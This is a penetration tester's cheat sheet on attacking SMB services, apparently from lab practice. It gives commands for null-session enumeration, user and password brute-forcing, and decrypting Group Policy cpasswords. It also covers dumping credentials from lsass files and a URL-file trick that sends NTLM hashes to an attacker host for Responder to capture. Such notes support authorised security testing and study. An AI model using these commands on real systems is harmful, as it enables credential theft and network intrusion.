🥷
Penetration Testing Notes
Home
  • Notes
  • Port Scanning
  • Credential-less Enumeration
    • Secure Shell
    • Simple Mail Transfer Protocol
    • File Transfer Protocol
    • Domain Name Service
    • Hypertext Transfer Protocol
    • Internet Message Access Protocol / Post Office Protocol
    • Kerberos
    • Remote Procedure Call
    • Server Message Block
    • Simple Network Management Protocol
    • Lightweight Directory Access Protocol
    • Netlogon Remote Protocol
    • Network File Share
    • Remote Desktop Protocol
    • My Structured Query Language
    • Microsoft Structured Query Language
    • Oracle Transparent Network Substrate
    • Intelligent Platform Management Interface
    • Rsync
    • R-Services
    • Remote Desktop Protocol
    • Windows Remote Management
    • Windows Management Instrumentation
  • Credentialed Enumeration
    • Secure Shell
    • Server Message Block
    • Lightweight Directory Access Protocol
    • Kerberos
    • MSSQL
    • Windows Remote Management
  • Privilege Escalation
    • Linux
    • Windows
  • Windows Active Directory
    • Abuse Weak Access Control Lists (ACLs)
    • Overpass The Hash
    • Object Scoping
    • Pass The Ticket
  • Miscellaneous
    • File Transfers
    • Shells & Payloads
    • Metasploit Framework
    • Password Mutations
  • All Notes
Powered by GitBook
On this page
  • Footprinting The Service
  • Nmap
  • RPCclient
  • Search For Known SMB Version Vulnerabilities
  • Check For Shares Using Null Sessions
  • Brute Forcing
  • URL File attacks
  • Read / Upload access
  • Cpassword discovery
  • lsass.zip lsass.dmp
  • Alternate Data Streams (ADS)
  • Check Password Policy
  • User Discovery
  • Group discovery
  • Smbclient
  • Smbmap
  • Dangerous Settings
  1. Credential-less Enumeration

Server Message Block

PreviousRemote Procedure CallNextSimple Network Management Protocol

Last updated 11 months ago

Footprinting The Service

Nmap

sudo nmap 10.129.14.128 -sV -sC -p139,445

RPCclient

rpcclient -U "" 10.129.14.128
rpcclient -U'%' 10.10.110.17
Query
Description

srvinfo

Server information.

enumdomains

Enumerate all domains that are deployed in the network.

querydominfo

Provides domain, server, and user information of deployed domains.

netshareenumall

Enumerates all available shares.

netsharegetinfo <share>

Provides information about a specific share.

enumdomusers

Enumerates all domain users.

queryuser <RID>

Provides information about a specific user.

Search For Known SMB Version Vulnerabilities

Check For Shares Using Null Sessions

smbclient -N -L //$ip/
cme smb $ip --shares -u "guest" -p ""

Brute Forcing

cme smb $ip -u users.list -p pws.list --local-auth | grep '[+]'

URL File attacks

Test for URL File attacks by creating a file called "@somename.url" with the following contents, upload, spin up smbserver to capture hash

[InternetShortcut]
URL=blah
WorkingDirectory=blah
IconFile=\\EnterAttackerip\%USERNAME%.icon
IconIndex=1

Run Responder to capture hashes

/opt/Responder-3.1.3.0/Responder.py -I tun0

Read / Upload access

Attempt to download and view share contents using valid credential / anonymous login / null session

smbmap -H $ip
smbmap -H $ip -r 
smbmap -H 10.129.14.128 --download "notes\note.txt"
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"
smbmap -u guest -p "" -H $ip -A '.*' -R

Cpassword discovery

Search "Groups.xml" for cpassword decryption

gpp-decrypt cpassword

lsass.zip lsass.dmp

search lsass.zip or lsass.dmp to use to dump credentials / keys / tickets

pypykatz lsa minidump "lsass.zip"

Alternate Data Streams (ADS)

test for alternate data streams after discovering 0 byte files

allinfo filename

Check Password Policy

cme smb $ip --pass-pol -u guest -p ""

User Discovery

Check For users using valid credential / anonymous login / null session

cme smb $ip --users -u guest -p ""
cme smb $ip --rid-brute -u guest -p ""

Group discovery

check for groups using valid credential / anonymous login / null session

cme smb $ip --groups -u guest -p ""

Smbclient

Interactively access the smb shares using smbclient

smbclient //$ip/someshare -N
smbclient //$ip/someshare -U 'guest' -N
smbclient //$ip/someshare -U 'validuser' -p 'validpass'

Smbmap

// Some code

Dangerous Settings

Setting
Description

browseable = yes

Allow listing available shares in the current share?

read only = no

Forbid the creation and modification of files?

writable = yes

Allow users to create and modify files?

guest ok = yes

Allow connecting to the service without using a password?

enable privileges = yes

Honor privileges assigned to specific SID?

create mask = 0777

What permissions must be assigned to the newly created files?

directory mask = 0777

What permissions must be assigned to the newly created directories?

logon script = script.sh

What script needs to be executed on the user's login?

magic script = script.sh

Which script should be executed when the script gets closed?

magic output = script.out

Where the output of the magic script needs to be stored?

-U'%': Explicitly sends an empty username and no password. -N: Does not send any username or password, attempting to establish a null session.
If the target
Using smbmap with the -r or -R (recursive) option, one can browse the directories
Downloading
Uploading